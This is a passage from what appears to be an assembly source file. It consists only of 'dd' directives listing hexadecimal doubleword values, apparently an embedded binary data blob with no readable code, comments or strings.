6F4570h, 288F14DFh, 9DB33605h, 2C088607h, 0E4009424h dd 70938D2Ah, 0A44000F3h, 8F6A8098h, 98B899FFh, 4ED41203h dd 1D9AB824h, 0CFB9BF10h, 0BE091F5Dh, 8BFDA480h, 1A002DC2h dd 49628710h, 0BED8218h, 84938AC4h, 0A6C21440h, 0FFC66B00h dd 23B0FB98h, 0B882004Ch, 0A574E73Ch, 44098901h, 9A9FC5FEh dd 50176074h, 482549D1h, 4075E201h, 348A76D8h, 6A07E874h dd 1F6415F7h, 0B6E52971h dd 92501880h, 0D767F34Ah, 7177400h, 7172D042h, 0D39509E0h dd 740F946Bh, 2ED80077h, 68C51DA9h, 0DE103F60h, 2C9A2051h dd 8A466F7h, 5F81DC21h, 0FCEBF253h, 0EEB78424h, 0D90101EAh dd 0CE88DFDh, 6321F0B4h, 97AE9300h, 77380DB7h, 25BC0C39h dd 9BC8F9CEh, 64EA480Bh, 13D48017h, 0CB5531h, 8F3D74A1h dd 0D86BB9D3h, 0F7779F00h, 0F5FC0B3Ch, 984ED0h, 0D6DA46C8h dd 0FA01D4B0h, 0B5BF3FDBh, 0CE94EBBh, 383CB570h, 35025310h dd 4B8ADA43h, 0C7EE2EC0h, 0BE541938h, 68B10041h, 96766269h dd 0E2280093h, 7084EE4Ah, 4C006527h, 17DBAF18h, 3BBB2901h dd 8009E36Dh, 94073628h, 0F2D36216h, 0E5B809E3h, 0EC00DC3Eh dd 0B2FB6CB6h, 0E31351Eh, 0D95D0D8Fh, 0C67C2C57h, 0EC39DA45h dd 0FF7A400h, 0C17FD5Ah, 0F255AA00h, 0E34164F9h, 1C9F3AE6h dd 0AF60FAB0h, 99005B31h, 154F6BCh, 46090C0h, 1441BA08h dd 53890A9h, 7013A21Ch, 4C40230Bh, 6652F701h, 0D2B80090h dd 713263F4h, 31242BBDh, 3DA658h, 0E26C48F7h, 245781A5h dd 0E8AE4Dh, 0C244CCDAh, 0B90364C3h, 0FEA3D60h, 0A3DDD0FFh dd 0BD1404B1h, 0C07E1927h, 0D6B3E1C4h, 248F5000h, 7B0445A2h dd 4B3A048Ah, 0A313E67Ah, 6BA901ECh, 0C6BF5D3Bh, 0E19990D4h dd 2151D70h, 0EE93377Ch, 7860A1D3h, 1D0130D6h, 23226075h dd 49F0F38Eh, 0B09873h, 2A92905Fh, 0C5A4E50Eh, 45E4AF0h dd 130063BCh, 0FFFBEB71h, 4300BEF6h, 0E6159392h, 60E0A403h dd 0B4233818h, 0FAFCA246h, 1FC22D02h, 400BD817h, 0F01670h dd 18AF8D4h, 0C8B8DBE0h, 1393EC00h, 0C4EFFF4Fh, 256D0981h dd 0BC0053CCh, 0EA8FFB4Dh, 32DDDE00h, 0DFA05643h, 2DB71D0h dd 0C2FE4C80h, 400D2Bh, 0A17A6CBh, 0B0906FE1h, 2F9BD9h dd 0CA5F9D72h, 94F40362h, 0C91E0200h, 0C68FB05Ch, 90F300D3h dd 0DEC2BA78h, 96EA52BDh, 3C4474EBh, 12B65D62h, 93C4846h dd 0F74D24A8h, 1D2485D8h, 80689095h, 0CD5DD3B3h, 0A840DE60h dd 0C8EF42F3h, 63A03845h, 3FCC4E80h, 5D6DF521h, 426C4601h dd 6B53FA24h, 79F060h, 0B2C68AB3h, 5A737B6Ah, 0F63DEC90h dd 8F84973Eh, 3546A440h, 90958757h, 2F7D0B48h, 0A0C80A4Eh dd 50074A2h, 1B28D1E5h, 1948C7h, 934D80D9h, 0AB63FD24h dd 0F6948h, 0C10D55A9h, 2F61D5EAh, 0B0076236h, 0E221608Ch dd 0D95DCEE3h, 343B0E4Ch, 3CCB64DAh, 828910C0h, 0D4463023h dd 4BAFE060h, 80F0045Ch, 5A54C95Ch, 0CDCE0F15h, 5E47519Ah dd 3332A00Eh, 9CA05BFBh, 4201E5BEh, 0F58CCBF1h, 0AFDDCE77h dd 0E49C30h, 522EDB0Bh, 0E52F974Ch, 700C9E02h, 405A6E8Eh dd 179CFD10h, 0C7638789h, 938060FCh, 5900A682h, 9594D23Bh dd 8620B3h, 0EADE61D1h, 8883E2C7h, 0AD58E713h, 0A0651C5Fh dd 8EB10198h, 0A11A0F52h, 206DED54h, 34C2CC68h, 21AB3E12h dd 45F4C47h, 542E9B60h, 4979284Bh, 0A5DA1388h, 645020BEh dd 0EB5A2342h, 16EE1000h, 0A1775111h, 0CDED07CCh, 1F4CB7FCh dd 80904F69h, 22B96F4Eh, 0E76E0F4h, 2496B224h, 0BE6E9400h dd 7C535102h, 9DBC3086h, 22915518h, 0CCDBF807h, 0D282E947h dd 604C4242h, 0E19E32FAh, 4000D0BEh, 33A4BA13h, 0A71376FFh dd 6B003083h, 0ADD1F497h, 6C451C7Ch, 13724249h, 0C0806AB5h dd 0E9FF0851h, 6C8CA00h, 33832D48h, 78CC74F1h, 297E4Dh dd 0D9F70DDh, 0B5988134h, 162FC903h, 0BB9343A0h, 7F61A077h dd 0BE7ECDh, 95F3FB86h, 0BAE73D19h, 30800148h, 28536A96h dd 7DC302B0h, 0ED64292h, 41E42861h, 0CDB57BD0h, 0AEB2F0D9h dd 0D44D7A01h, 0C052AC64h, 9E88C4h, 41D68A79h, 0F0773D7h dd 200EA727h, 212075ECh, 2D7D009Fh, 92DCF589h, 0B8B85323h dd 66BC091Fh, 4EBC3825h, 85390513h, 0C561AF67h, 80889504h dd 77EEE04h, 0AC401D12h, 26E7F444h, 0BB82E4E2h, 20482B36h dd 7900D91Fh, 2F5589A1h, 3FF00Ch, 4FAA6F40h, 38E36C03h dd 0C5739800h, 15067F1Fh, 5795AECh, 40D80B10h, 0D7375CD8h dd 0B80A2DD0h, 0F0550DF9h, 16823201h, 0FC601A7Eh, 0CE9418C5h dd 52E18862h, 0FE487D00h, 219D6DA9h, 0BA82052Eh, 0BB9AF550h dd 26C0A887h, 56C16Ah, 8F1FAC46h, 0D543811Ch, 9E0E9201h dd 27C915F3h, 26F8D8h, 61E7A874h, 0EDE9D265h, 43903CF4h dd 0C01B8FAh, 307222FFh, 40C8B57Dh, 0ACF43BE6h, 62EB7380h dd 296B6FFAh, 89C73600h, 0E39CFF49h, 52E50013h, 0F64590D5h dd 0C4036E74h, 10D03FB0h, 0CCD8F0B6h, 0E16600F0h, 0A7628EDEh dd 2E04429Bh, 55875486h, 850B1080h, 12E90222h, 0DDCAED82h dd 9042E4AFh, 0FCE0E4CFh, 64056699h, 0DF378387h, 0EC24C780h dd 0A51300BFh, 2DB0D170h, 167B794Ah, 10D36224h, 360CF980h dd 888C31h, 0B0D8DADDh, 0BD939482h, 3B79C30Fh, 1C50E0EBh dd 48A68D56h, 580E127Ah, 0BC40142Dh, 0F76A4D7h, 0B9B8CF5Fh dd 0C9D86E2Ch, 523A5881h, 2ED1F4BEh, 49E57600h, 0E6D3C7B2h dd 86E060AAh, 0E10C28A6h, 9204E4F4h, 0DE956CFh, 86FCD080h dd 6C3802BCh, 3F1EC013h, 6B24DC60h, 0E578E0Eh, 6792A0BAh dd 432F0C2h, 80AEBB53h, 9E6C88ECh, 901DE237h, 90378830h dd 0DE000E4h, 98A31E25h, 811FE36Bh, 0BC9E5573h, 0A59C4541h dd 9820443Ch, 5C9A0071h, 2270EA6Bh, 44B098DAh, 28C4D013h dd 891EAEh, 0D473C3F4h, 0A00055ABh, 82CD392Eh, 171DED74h dd 1F42168Fh, 81500284h, 94608E69h, 0EF00307Ch, 17021A0Ah dd 76729BFCh, 0A4804D1Dh, 7CB4FB01h, 0F3EC1C20h, 80414CC9h dd 1165EAF8h, 0E2FDED6Fh, 0DE4F0F28h, 1261C69Ah, 0CFEA6D15h dd 8AC4D9A0h, 600ED05Ch, 778E06E0h, 0D41F48ADh, 61394300h dd 48708635h, 0DCF37600h, 0F4FB2053h, 0D5A301ABh, 0C0D8308h dd 24184BCh, 0E0AC85DAh, 614BD800h, 0D44F35F1h, 0B0994630h dd 9DF47CDh, 17AD8869h, 0BD4424A1h, 0E0D180F5h, 7B57314h dd 0A98526EBh, 0A6770055h, 0C3FBEF24h, 28F29501h, 0B78EB31Fh dd 64A3C74h, 41571ACh, 3504890Fh, 98D1328Bh, 0A14A7080h dd 0ADB1EBBh, 1A2E00A7h, 0F2A0F147h, 638D1700h, 36EB2ADCh dd 319A00A8h, 4A4FA40h, 2500E738h, 1267B748h, 4F5966h dd 0D53B6AF7h, 0B0CDF9EAh, 33D18700h, 7A91046h, 0E967018Ah dd 9383768h, 0DE0AD8A0h, 57DDA3Dh, 0C4412388h, 0FDBE5280h dd 3E81F69h, 4D5007AFh, 0BC294497h, 0CD620150h, 0D73530FBh dd 0E6388C2Ch, 8B31D200h, 0C654BE84h, 8221F212h, 39D904B4h dd 0CC508EA9h, 8449001Ah, 17E843D4h, 8500E660h, 8D2B2CCCh dd 7257376Bh, 3CAFEE9h, 0E59CC1EFh, 6903D6D5h, 103EB355h dd 0A616F14Fh, 348B830h, 1F0B6B8h, 103C55F3h, 0BFCB03C8h dd 0A8A8C210h, 73BD55Bh, 0C17550EAh, 70D8008Fh, 0B200FA8Ah dd 5F60DFE3h, 8D3E83h, 0DDE53B21h, 1785486Fh, 0DF00A6FEh dd 71E0D6B0h, 326E24Eh, 0D8F7A3AFh, 39020D66h, 93495DEAh dd 0D55481D9h, 864CA69h, 0B61F0C9Eh, 77A84DB4h, 0D56B4B0Ah dd 901C1066h, 63671CE8h, 9400F85Ch, 0FB22D0h, 8733AA3Fh dd 30322CDAh, 0B67E5301h, 0D4C2FC8Bh, 0CAD3D0h, 61FAD7A4h dd 0AC56C56Ch, 7EF14B00h, 2A295302h, 66B30050h, 4EC110EBh dd 0A400B7EEh, 0F769E070h, 960A0D5h, 77F97FA8h, 61910755h dd 1A873D05h, 0F2459880h, 0C5601BFh, 3EA15710h, 712ED417h dd 54849303h, 9089BEB2h dd 0E49D9BA4h, 1CE80026h, 94BACE2Fh, 0E47C41A5h, 0CCF2C0E6h dd 0C8070B00h, 4FDDD82Ah, 0C19B1F9Eh, 1AFC81D4h, 0D8144450h dd 9008CD2h, 3418B26Bh, 303716E3h, 6D61B1BEh, 3D009057h dd 4CC91945h, 0EFDCFh, 84D02475h, 0F299C192h, 90816B1Dh dd 229B96C0h, 2605EADDh, 0D3F464h, 0D0143BE1h, 16E87029h dd 98940A00h, 96696B3Ah, 0E0E90377h, 58086182h, 0BA857FC1h dd 0FC7C8111h, 24143184h, 64037840h, 1FD1FA4Dh, 58AC5544h dd 0FD4118BEh, 0E4081660h, 0E4246AAh, 3AF9BC7Bh, 6D84C0DDh dd 79678FA1h, 916418A0h, 7AE79000h, 0BACDF83Fh, 173500F5h dd 4B3DE2D6h, 4400A42Bh, 8992EB58h, 4FB9A3h, 0E30F72C3h dd 57343E79h, 0F285Ch, 0D22FCE0Bh, 68D67A7Eh, 57041174h dd 0C8722486h, 8B180010h, 5584D79Eh, 890F0F30h, 0C04AAE1Bh dd 85D9297Fh, 6B3C0049h, 0D042C64h, 5500A9A7h, 0D4EB90F7h dd 5724DEh, 8489C360h, 0FD32D8BDh, 0F629AE00h, 0D68AEF27h dd 0E9DF004Bh, 35442190h, 937EE822h, 77607600h, 0E1F7F0D7h dd 540500A7h, 0E860B47h, 4E00C7E2h, 31E462DBh, 1E80E013h dd 40D0E924h, 0CDDA7A3Bh, 741F292Fh, 1D008125h, 0DE6F37F0h dd 0F7AA00FFh, 6A10678Ch, 0A1005C49h, 0F639EBB4h, 7C09FB97h dd 68CE3F5Bh, 1D90E180h, 270FC810h, 613E7B00h, 47313C66h dd 74A20282h, 0EFA80B43h, 0C991B9C0h, 2AAD9B00h, 0BE7F0F66h dd 5C9E06F5h, 393D967Dh, 9F00F6B0h, 0AA6273E0h, 50FBE1D7h dd 28B1B8D3h, 84407Ch, 29EFB947h, 0B47E94CEh, 0BFF6FE01h dd 4A9986FFh, 9803D050h, 118A0073h, 19437C4Bh, 0F60254ABh dd 7597E913h, 59C280D3h, 0BAEC430h, 92ED5DB9h, 99C7A280h dd 0F1006337h, 61BE0B45h, 3C74280Ah, 6C82C8E0h, 7CFCA9E9h dd 0F48ABC80h, 23EF722h, 0E398000Fh, 1F41EF85h, 0CB630132h dd 4C54F6F1h, 1448C886h, 0E43ED800h, 0FCF91335h, 7A4A015Bh dd 8ED22EFAh, 7D804360h, 0F5404F0h, 33519906h, 185C6Eh dd 0B8EB09A0h, 52DAE17Ah, 0DEC4C618h, 406898h, 2A14B68Ah dd 0FF1DDF7Dh, 43D5A209h, 28582047h, 0D62B68h, 0BC383A8Fh dd 5BB91BCAh, 8C198500h, 4B473B0Ch, 36793C4Dh, 2B80EFBAh dd 235E2A2Eh, 0B4010B3Eh, 5DF855E1h, 5BE8BF59h, 45011EBBh dd 68E240D3h, 521596B1h, 91C0EC14h, 0EEF600C4h, 0F2A80140h dd 0C1E0A8F9h, 8AB50BF7h, 3571264h, 71696A37h, 0A0930598h dd 408083EAh, 1B19DECh, 0A50712C3h, 17F145C2h, 707E80BFh dd 1BBCD3h, 0FEF3C958h, 0C4247C65h, 0A70EF27Dh, 0C56F6B3Eh dd 0F4012A72h, 0C178CE4h, 1FB68C24h, 0C19F25F9h, 48D3ED5Eh dd 8CE824C7h, 0F6F0E0BFh, 0C0BE0059h, 7A5B9F68h, 94180183h dd 1540551Fh, 7D460734h, 0A776C3C8h, 0D470B0E4h, 97071CB9h dd 33D9938h, 0EFC2B130h, 17B300EDh, 915A9807h, 7900D0A2h dd 0CE2A5F92h, 9C3D3Fh, 0F0B32FB4h, 37C46D3h, 8B07D87Eh dd 8916F66Bh, 0D03563F0h, 0FCEB03AFh, 8D7F448h, 650020B6h dd 0EFDF569Eh, 0F61280Eh, 648F3D89h, 6C4BE580h, 340B125Eh dd 80A911E9h, 809AEF32h, 3BF30097h, 0DDCDD79Bh, 0BC0EE24Ah dd 8069F72Eh, 565B265Fh, 7E4B399Fh, 0A77C2180h, 8C0B6C0Fh dd 863FA40Eh, 0A2DAAE3Bh, 48DF8103h, 0F82ABB4h, 98FB2A1Fh dd 45D05122h, 70DD5841h, 1607E63Ch, 58EAB76Bh, 3B93B570h dd 85F6006Ch, 0ED05A215h, 5E02F1B8h, 0C2DBD132h, 2D848708h dd 0B66DF470h, 4B16008Ch, 0DD4C58E7h, 1E03673Dh, 0C3898EA2h dd 7C803F0Eh, 0A9B1Fh, 7AF42507h, 6103FE69h, 0E34E29E8h dd 0DA50E777h, 3C4499EDh, 3F805F85h, 2B4CF2A6h, 8200F153h dd 7DF42947h, 306AAA7Bh, 98104E7Eh, 63000BBDh, 8D324F45h dd 18FB52BBh, 2054CC89h, 5E004192h, 7433FFB5h, 44CD875h dd 0DB55F1DEh, 0D3B080E4h, 3B0012F7h, 0E7354680h, 0C1F939h dd 58F59DEEh, 0DE4D0853h, 27C0EB4Ah, 0F3F6B2h, 18FEB931h dd 1FD9092Ch, 4A90AE1Ch, 0FB348500h, 0FB4B72A9h, 0C0D28BDCh dd 0EF661220h, 370198DFh, 5CCEBA9Ah, 0C7DC0D46h, 3F1B0091h dd 6B569C40h, 3300178Bh, 0DE9D7227h, 789C7F7h, 0ED80AD2h dd 546B80A1h, 46002ECEh, 50A275E5h, 0DCC1E0h, 0B1A3DA78h dd 89D2ECF1h, 30FCA00h, 55BBEE4Fh, 9B1100F4h, 0ECA3C3E9h dd 0BFE25748h, 9FC98904h, 87800D13h, 0FA4BADh, 0D9A4AE97h dd 33548A65h, 16422203h, 66650DFh, 0E290A762h, 800B8DDh dd 32119837h, 3F1AC1h, 0B90D02BDh, 9CC9B90h, 23A98300h dd 0BE507DD2h, 32DF00F0h, 2BF38B05h, 1E00AEF6h, 0B9DD7626h dd 5C077B56h, 8903F52Ah, 28E95387h, 59D61000h, 0E76E5CB2h dd 7E9D0083h, 80C17F12h, 0C2003CC4h, 0B3B059BFh, 0AB3F26h dd 995FD2A6h, 29F310C8h, 0D1155C00h, 0FAFA7C6h, 3A4A0E30h dd 70609491h, 6C13FDF8h, 479EF00h, 0FF61A84Eh, 82A302CCh dd 240D7A8Ah, 0C1A0DB63h, 120571BAh, 45C53867h, 213D5680h dd 0D093007Bh, 0E8F8223Fh, 0D5079239h, 0A887130Bh, 1ACEF6F1h dd 330DCD4h, 9DC08B40h, 0D0FF2DF2h, 84EB5318h, 4D175401h dd 0AF37F5E2h, 0B4D80A31h, 38C00A7h, 3CDC8147h, 677EF936h dd 0F5339278h, 0C3831114h, 33C7E069h, 4C81C625h, 0F93008FCh dd 675D2061h, 54E87Bh, 624D9CBh, 0CB743FAh, 0B901FE74h dd 0BE3868F4h, 36207E71h, 3E3107FDh, 306AFA11h, 29C260Fh dd 42257500h, 0D06973FFh, 0F880C07Fh, 0ACA1D1E7h, 0AA580D0Bh dd 0A0F880D8h, 0A0776AD2h, 132A248h, 9C15B383h, 0D01E0F49h dd 0FF0C110Eh, 4834C07Eh, 0DEB60EE8h, 3E2BFDF0h, 3B21E00Eh dd 0CC56E596h, 1D01EFC7h, 3780F863h, 67E4F9E4h, 64FC00ACh dd 699FAA02h, 3900C1DDh, 0E0FA154Eh, 8750A1h, 0F4584208h dd 0AE9555F9h, 0D8A88900h, 6E12D7FBh, 0E2A9F43Ah, 41AA0039h dd 69D2BAC3h, 0AC034F91h, 1C05E52Fh, 36DDC03Dh, 25E90F85h dd 6820AA70h, 0FAAF7304h, 6A839B00h, 0E05EA72Fh, 3AF700ABh dd 7316CA66h, 0FB0023CCh, 2432527Fh, 9E572Ch, 7EBEA994h dd 0AD0D8580h, 3644490Eh, 0CCF3E021h, 7C7D9648h, 4BF70011h dd 0E8461E3Ch, 0E8A40142h, 77009879h, 952B6756h, 74437F25h dd 0E5B03092h, 770EA120h, 7A01B577h, 0EE652972h, 58822498h dd 9A7BA473h, 5B1803h, 0B59F4230h, 91B28644h, 61021F4h dd 0F0444BDCh, 27594CE8h, 47D86705h, 310C01C0h, 0D4335304h dd 593950D1h, 22F6000Fh, 0E0FB8ADEh, 69360C62h, 883184C0h dd 74E25E1Ch, 0FC3EF503h, 4C093067h, 0E246A821h, 35A26300h dd 12CCFD82h, 67570099h, 9BFA4DEh, 214F662h, 23309ED2h dd 0E25B004Eh, 45BDFF59h, 3D544486h, 3E24307h, 0DB06B574h dd 7A8B7CF0h, 881130E5h, 0DC3CAA10h, 0CB82A401h, 832D4A60h dd 39A31FCh, 0C3BDBC8Ch, 25A8E6D9h, 2E00E508h, 19C26135h dd 0B8DA760h, 80854831h, 7D9BC300h, 6A072941h, 40D41FE8h dd 3BF17E40h, 0CCAE00CBh, 86DF44C4h, 0A6000AF5h, 3427C602h dd 1306DBBh, 8C0E92Dh, 0E0A0C122h, 0D3F68FA3h, 6CBF2100h dd 40EB1C43h, 0A2A25C05h, 1E8AE503h, 8380A1B5h, 71021082h dd 1720F962h, 13E3607Dh, 5203008Ah, 0FB271549h, 0D302FF67h dd 1C797AD6h, 0F9CC40CEh, 594C01D7h, 8853D582h, 17AFF087h dd 0BBE6770Eh, 0FCBC05Bh, 201A43h, 0F9DE0DA1h, 0CE13A9E5h dd 8315B000h, 7B5D5E8Eh dd 59F66Ah, 0B2B3277Ah, 61AB3ADCh, 0F35C3500h, 0D66AB660h dd 34D10FD2h, 5B617ADFh, 0CCFB7E4Ah, 20004318h, 135DD94Bh dd 992A2Eh, 59AB891Ah, 63105B28h, 0A68FB400h, 7CCBDDCh dd 9DB37841h, 0A9CD7100h, 390F628Eh, 8A797FD9h, 187C04D6h dd 4038A99Ah, 940024B1h, 0E297117Eh, 7889726Ah, 8F51015Eh dd 46E39AFEh, 9E288E2Fh, 561190BEh, 0A2B41169h, 1E08E721h dd 845A90C1h, 0AB48A3B2h, 8E22C244h, 89AD2910h, 0A15F08AFh dd 0A108923Ch, 84B3AE44h, 42BDBE22h, 0A8C71106h, 480C7721h dd 84CAF127h, 44FB6622h, 0B90091BBh, 924EC86Bh, 70373h dd 0FD598C49h, 71D6FEBCh, 0FF879600h, 221CA1A0h, 24330FB3h dd 2DC72AEDh, 20E15090h, 890FA518h, 3CC79Dh, 0A10A443h dd 3D2200D3h, 0B416F1BFh, 0FE00E3F4h, 0F6D88A37h, 1718FDB0h dd 0FC78E4h, 0F799842Ah, 0BD50362Ah, 8B1FC18Eh, 5A47C811h dd 9D75F16h, 0D5D44700h, 19CE0368h, 2E4A8632h, 80FCEDC9h dd 6EB8C110h, 0A04B49h, 773BB4F8h, 1B72F5F6h, 6CBA9807h dd 0E46E3805h, 1490BE63h, 0E09E25h, 7785B3B9h, 0AFD2491Ch dd 0A3ABD40Fh, 4D10C04Eh, 0FC696FD0h, 2401BF1Eh, 0E891AE26h dd 3E0095D5h, 3359B22h, 6CE94A6h, 3D85512Fh, 48002096h dd 0CD662407h, 181B1AC5h, 78893E2Bh, 5F00D06Dh, 3D4FF770h dd 8355CFh, 0AD42314Dh, 9A77D3B0h, 7E0EC700h, 92A3BC01h dd 0CD7083h, 29AB730Ch, 36DA2E45h, 8E004FEAh, 128FF1D1h dd 0A054Eh, 0B2EF7F32h, 6AA7A4D0h, 17719B0Eh, 0D3B2737h dd 0E890D7C0h, 30100033h, 0F093F322h, 0AC03785Fh, 26F5D108h dd 0E9418898h, 31920470h, 803D49C3h, 0BF0377A5h, 7FA88E26h dd 2B651B00h, 8F0C4Fh, 10320229h, 6BE228FCh, 1770505h dd 0DC801A40h, 24FD5A5Dh, 0CC7BDDh, 23A35214h, 5B03DCB4h dd 0D28566CBh, 4A4998EDh, 0F0B70138h, 0CE57C70Fh, 6DC5CC30h dd 800CE93Bh, 1067A1A6h, 7659280Eh, 3EB11EBBh, 93234346h dd 0AC98BFD5h, 0F10F176Fh, 0A0428CC7h, 502F2F9h, 5CBA0E4Bh dd 0D302A2FEh, 0FCA79C5Dh, 800A1429h, 83B51B20h, 0BA44918h dd 281E3A10h, 999AAF7h, 0D0D64F8Eh, 0F4152CA3h, 96894590h dd 16AB8503h, 0B0500112h, 492FE6h, 0C00310DCh, 2D9190BEh dd 0FF153Eh, 6E7151DFh, 0A6254h, 0F7A7D003h, 28F94726h dd 0C10E431Eh, 0E65D2A40h, 7271F281h, 0E0E2F311h, 0C2BE37h dd 2D92D193h, 3E1A3640h, 65C4901h, 370C538h, 0D815D040h dd 3B3990B0h, 0BD800D0Ch, 7C8ABB31h, 0A2FAD3ADh, 0BF7B9700h dd 506C3C48h, 343A001Fh, 63D77FFCh, 0E00C374h, 2E0C420Fh dd 0B0C644ADh, 0C01705F0h, 20953D3h, 6D7975A7h, 35D88487h dd 0D7950558h, 59C58060h, 0C00C309h, 374555E5h, 0E87D23h dd 997B1A19h, 4F076A4Bh, 2A2D8000h, 75E7DD4Ah, 5C5600C3h dd 0F2CA33FFh, 77183074h, 829448F0h, 22750043h, 71E88F6Ch dd 357D0E2Fh, 45A46600h, 0E33763E6h, 0EB1A0285h, 0D29D081Bh dd 8A4500D5h, 78A454h, 44F8DB2Dh, 0C07703D9h, 6D383409h dd 0F2800E8h, 12809740h, 4E78FEh, 0ABD08DA4h, 0C60AEF2h dd 6E51F868h, 260D765Dh, 6004B8h, 0E1C56CE2h, 300F25ADh dd 8481E47Bh, 18C0836Dh, 2657960Dh, 40B7D5h, 0D846A75Bh dd 890023A9h, 2A173338h, 40761Eh, 64CB5074h, 4C1562Bh dd 86E9D000h, 519C959Fh, 0E5E200DFh, 7233F91Ch, 4500F613h dd 0E987948Bh, 1BC5FFFh, 779C8161h, 0D897C81Dh, 0BD094E0Ch dd 8F542A19h, 0C19DC57Ah, 0DB40E01Fh, 9E697831h, 26AB009Fh dd 0EE3B537Bh, 90007AF2h, 0EFD1D346h, 0BD7829Ah, 3441BC5Ch dd 0AC19C00h, 0BE0099FBh, 37134362h, 48695C5Ah, 6680C8ECh dd 0D1900F17h, 80EC6C48h, 0D8C509DEh, 12DD0081h, 39554870h dd 2C1698ECh, 10023E11h, 4031A3BAh, 54B0FEA4h, 3D33B8EDh dd 0FEE054h, 0AC6D206Eh, 77165523h, 0E4A8AD51h, 8A02AFDCh dd 64B99C8Eh, 80662Fh, 66D54658h, 0AA4205FDh, 339BC603h dd 0F82ECF5Ah, 26790777h, 9003EBh, 19CA55CDh, 0C42E0D9Bh dd 342C4867h, 1446EE80h, 6B4723h, 0D568048Dh, 83698FB8h dd 6E44F703h, 7B765Fh, 0EA4AD118h, 30C729F2h, 0FDCCAE0Dh dd 0E2E04835h, 29C86FF1h, 958BF5A1h, 0EC76F0B3h, 712B8D12h dd 0AD7D7400h, 5920D366h, 0E079CFDh, 0EC94A5D9h, 0E1011A20h dd 0E4CE3ADAh, 8DE09782h, 151000FDh, 9BC1E894h, 7D006221h dd 0A3F53A30h, 905713D1h, 0DD51007Ch, 0C72789F1h, 493E295Ah dd 4FE789E0h, 0B12020E8h, 18CEFA8Fh, 0A8C24377h, 0E7074730h dd 0A9B4E1DAh, 3C8B61F0h, 0AA8CA0FFh, 8651DB0h, 0C1BC494Eh dd 0BF325300h, 5E02ADBEh, 0B8A54B03h, 0BBC0DFC5h, 0CE02FEAEh dd 1481F71Dh, 5C406095h, 0F48400BEh, 7E0F4464h, 3700BA5Dh dd 0E070E632h, 9003B36Fh, 0A87D02B0h, 956C61B7h, 0C0D57860h dd 11DB10C3h, 0AC08E06Dh, 120A282Bh, 0BFD30398h, 814B56D1h dd 0FD5243A1h, 3CCC41D0h, 288DD426h, 0E903F200h, 6C720E05h dd 43EB0E77h, 1E613E38h, 20DE323Ah, 220107CAh, 807B64C7h dd 0E44037C1h, 768941h, 0C0E43218h, 0DDD8B794h, 8C6CEA01h dd 0E8212551h, 1C8FECh, 23D3EE53h, 895D32BDh, 1DB441Dh dd 0C9F39140h, 0D6ABAD5h, 3A97A017h, 0B121CCB8h, 0BB053D05h dd 14818BAEh, 0C4CC2363h, 69C0E30Bh, 3EDE0081h, 6F31E365h dd 0E504FB1Ch, 1524C147h, 64CAC0C0h, 684109A2h, 2020B25Eh dd 19741329h, 0A5095F02h, 0C1D1F932h, 41E58164h, 2C2172F9h dd 1E12A7F8h, 7665367h, 0D08A689Eh, 0B27EE6A4h, 0A5071403h dd 62952Fh, 2CF00C68h, 747B3FDEh, 4D9AE005h, 0AF80EF1Dh dd 1E6CE129h, 0C0E47006h, 50BDCFF6h, 5981B46h, 2E3E3901h dd 27C983E1h, 0CF3B8DCh, 7A8ECFDFh, 5B00C488h, 5D8CD8C3h dd 17424774h, 135604h, 0C8367624h, 0B4009003h, 8A2D933Ch dd 9887E6D4h, 0D2BD0604h, 0E5A89E1h, 0EA710700h, 0BE98C3A4h dd 69FC79h, 1CD4DE0Eh, 8E226DF3h, 287CBCB8h, 0DB403491h dd 12156C10h, 1DFBA675h, 0D0D261h, 45051A3Ch, 0C800C7B8h dd 1B2185F2h, 7E798095h, 9C283263h, 93409329h, 6B0B2712h dd 5D621D98h, 33156500h, 0EC029206h, 0CB618440h, 0D4E18838h dd 4008B60Eh, 930F2BA1h, 13A022Ah, 371C09EFh, 4A614440h dd 85AD22h, 0DC32C59Dh, 477E3E79h, 615C300h, 0DC8A9ADh dd 237C07D9h, 0C05C5382h, 676F0E58h, 2699A100h, 986CA90Ah dd 14AE0055h, 0DCD97E11h, 9B405BEFh, 6D4700E6h, 0B11C123Ch dd 69078EB7h, 0B86079FBh, 70875C70h, 0DF274C8Bh, 0CFAEF400h dd 2F0F53A8h, 701B0ECh, 0A44DED3h, 0DCD811A3h, 7CC762B5h dd 1C60D83Eh, 0C8B16A75h, 0BE038C4Ah, 8A927F63h, 4CC8A052h dd 0F6599AFh, 64098D40h, 58ACCBC0h, 30008BA6h, 11064A32h dd 6DB6DDh, 0D873E510h, 451F42B1h, 957F2D00h, 0D639268Ch dd 926F1F0Ah, 0DF01C0AAh, 36145F1Dh, 741348h, 2235B7B9h dd 109CC8h, 21EA66FFh, 700D1E3Dh, 856E8C38h, 59B9EE4Fh dd 91BC400h, 8330E913h, 0D81E81D1h, 2800FBCAh, 42D08F8Bh dd 1C8445C1h, 391D79h, 5B3488BCh, 7B00BA96h, 0F266DAA4h dd 29E54Ch, 0D01B9975h, 2F12A32Dh, 189FF810h, 0A9892200h dd 0E00915F0h, 11CCAD00h, 0DD0E744Eh, 0F0E350FAh, 7DAFC62h dd 0F080EDF9h, 1F43A36Fh dd 0EB01A90h, 214D8902h, 48139693h, 501987CCh, 20FEC8BBh dd 3809D93Ch, 0B435Eh, 607C66ECh, 18B0080h, 0EDF79A7Eh dd 0F5735D3Dh, 0B2211200h, 0FD6A3382h, 0C6660F0Bh, 0E43587B9h dd 0CC573100h, 0B60C5DAFh, 0D600E498h, 0BA705CDBh, 27D3C42h dd 8F25DDD4h, 20442353h, 3D94D200h, 0EEEFEBB1h, 0F85200ACh dd 28F7DBAEh, 0F6002348h, 2DD75B91h, 0D62904h, 385F5D82h dd 7358A5FDh, 514F3300h, 85A6FC9h, 1E90736h, 1016E7h, 4CC00996h dd 467EA00Fh, 0CADB806Eh, 0FC142CFCh, 885C0084h, 85CFEDF8h dd 8E00943Ah, 8BD2B6E5h, 0F1144Eh, 0BA5C726Bh, 4A10F8DBh dd 0D506F071h, 7D4F0C78h, 618D0090h, 0AF673820h, 0ED31A0EFh dd 0C741843h, 1114FD8h, 8185FF0Dh, 0ECC9D6D7h, 0D20006B2h dd 5B884A0Ah, 0C0ECB7F7h, 16A4C880h, 2B0E3A7Ah, 8538937Ch dd 0E6806960h, 791099Ah, 349D63Fh, 0DF1AA017h, 0D0006BFh dd 0EF41405Fh, 75358Eh, 21201E4Eh, 13E83B78h, 6287E400h dd 8431CCFh, 0B27223h, 40DEEAFh, 0FD30B0C4h, 0FE422C00h dd 8D26A64Ah, 942E00ABh, 8C0774D6h, 0BE003D11h, 31C76773h dd 4BE401h, 9A0D780Bh, 8930E316h, 0FBDBA80Fh, 